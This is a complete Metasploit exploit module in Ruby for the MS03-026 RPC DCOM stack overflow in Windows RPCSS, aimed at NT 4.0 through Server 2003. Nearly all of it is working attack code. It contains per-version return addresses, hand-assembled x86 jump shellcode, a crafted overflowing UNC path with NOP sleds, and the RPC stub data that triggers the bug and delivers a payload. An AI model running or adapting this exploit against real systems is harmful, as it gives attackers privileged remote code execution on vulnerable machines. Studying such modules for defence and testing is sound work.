require 'msf/core'

module Msf

class Exploits::Windows::Dcerpc::MS03_026_DCOM < Msf::Exploit::Remote

	include Exploit::Remote::DCERPC

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft RPC DCOM MSO3-026',
			'Description'    => %q{
				This module exploits a stack overflow in the RPCSS service, this vulnerability
				was originally found by the Last Stage of Delirium research group and has bee
				widely exploited ever since. This module can exploit the English versions of
				Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)
			},
			'Author'         => [ 'hdm', 'spoonm', 'cazz' ],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'OSVDB', '2100'     ],
					[ 'MSB',   'MS03-026' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Payload'        =>
				{
					'Space'    => 880,
					'MinNops'  => 300,
					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
				},
			'Targets'        => 
				[
					# Target 0: Universal
					[ 
						'Windows NT SP3-6a/2000/XP/2003 Universal',
						{
							'Platform' => 'win',
							'Rets'     => 
								[
									0x77f33723, # Windows NT 4.0 SP6a (esp)
									0x7ffde0eb, # Windows 2000 writable address + jmp+0xe0
									0x0018759f, # Windows 2000 Universal (ebx)
									0x01001c59, # Windows XP SP0/SP1 (pop pop ret)
									0x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!)
									0x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll
									0x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll
								],
						},
					],
				],
			'DefaultTarget' => 0))
	end
	
	def exploit
		connect
		print_status("Trying target #{target.name}...")
	
        handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [datastore['RPORT']])
        print_status("Binding to #{handle} ...")
        dcerpc_bind(handle)
        print_status("Bound to #{handle} ...")
		
		# Carefully create the combination of addresses and code for cross-os exploitation
		xpseh = Rex::Text.rand_text_alphanumeric(360, payload_badchars)
		
		# Jump to [esp-4] - (distance to shellcode)
		jmpsc =
			"\x8b\x44\x24\xfc"      + # mov eax,[esp-0x4]
			"\x05\xe0\xfa\xff\xff"  + # add eax,0xfffffae0 (sub eax, 1312)
			"\xff\xe0"                # jmp eax

		# Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield!
		jmpsc2k3 =
			"\x8b\x45\x30"         + # mov eax,[ebp+0x30]
			"\x05\x24\xfb\xff\xff" + # add eax,0xfffffb24 (sub 1244)
			"\xff\xe0"               # jmp eax

		# Windows 2003 added by spoonm
		xpseh[ 246 - jmpsc2k3.length, jmpsc2k3.length ] = jmpsc2k3
		xpseh[ 246, 2 ] = Rex::Arch::X86.jmp_short('$+' + (jmpsc2k3.length * -1).to_s)
		xpseh[ 250, 4 ] = [ target['Rets'][4] ].pack('V')

		xpseh[ 306, 2 ] = "\xeb\x06"
		xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V')
		xpseh[ 314, jmpsc.length ] = jmpsc
		
		#
		# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both
		# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4
		# HD wrote NT 4.0 SP6a, and it's off in a different place
		#
		# Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this:
		# (hopefully I'm accurate, this is from my memory...)
		#
		# |---pop pop ret--------        --eax---|
		# V                     |        |       V
		# [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ]
		#     4             4           4              5               5
		#     |                                                 ^
		#     --------------------------------------------------|
		# The jmpback's all are 5 byte backwards jumps into our shellcode that
		# sits just below these overwrites...
		#

		nt4sp3jmp = Rex::Arch::X86.jmp_short('$+' + (12 + 5).to_s) + 
	            	Rex::Text.rand_text(2, payload_badchars)		

		nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V')
		nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V')
		ntshiz = nt4sp3jmp + 
	        	 [ target['Rets'][6] ].pack('V') + 
				 [ target['Rets'][5] ].pack('V') +
	        	 nt4sp5jmpback + 
				 nt4sp3jmpback

		# Pad to the magic value of 118 bytes
		ntshiz += Rex::Text.rand_text(118 - ntshiz.length, payload_badchars)		
		
		# Create the evil UNC path used in the overflow
		uncpath = "\x5c\x00\x5c\x00" +
			("\x90" * 32) +
			"\xeb\x10\xeb\x19" +                # When attacking NT 4.0, jump over 2000/XP return
			[ target['Rets'][2] ].pack('V') +   # Return address for 2000 (ebx)
			[ target['Rets'][0] ].pack('V') +   # Return address for NT 4.0 SP6 (esi)
			[ target['Rets'][1] ].pack('V') +   # Writable address on 2000 and jmp for NT 4.0
			("\x90" * 88) +
			"\xeb\x04\xff\xff\xff\xff" +
			("\x90" *  8) +
			"\xeb\x04\xeb\x04" +
			("\x90" *  4) +
			"\xeb\x04\xff\xff\xff\xff" +
			payload.encoded + 
			ntshiz + 
			xpseh +
			 "\x5c\x00\x41\x00\x00\x00\x00\x00\x00\x00"

		# This is the rpc cruft needed to trigger the vuln API
		stubdata =
            NDR.short(5) +
            NDR.short(1) +
            NDR.long(0) +
            NDR.long(0) +
		   
            Rex::Text.rand_text(16) + 
            
            NDR.long(0) +
            NDR.long(0) +
            NDR.long(0) +
            NDR.long(0) +
            NDR.long(0) +
           
            NDR.long(rand(0xFFFFFFFF)) +

            NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) +

            NDR.long(0) +
            NDR.long(rand(0xFFFFFFFF)) +
            NDR.long(rand(0xFFFFFFFF)) +

            NDR.long(1) +
            NDR.long(rand(0xFFFFFFFF)) +

            NDR.long(1) +
            NDR.long(rand(0xFFFFFFFF)) +
            NDR.long(rand(0xFFFFFFFF)) +
            NDR.long(rand(0xFFFFFFFF)) +
            NDR.long(rand(0xFFFFFFFF)) +

            NDR.long(1) +
            NDR.long(1) +
            NDR.long(rand(0xFFFFFFFF))
       
        
        print_status('sending exploit ...')
        begin
		    dcerpc_call(0, stubdata)
        rescue Rex::Proto::DCERPC::Exceptions::NoResponse
            print_status('server did not respond, but we do not expect it to.')
        end

		handler
		disconnect	
	end

end

end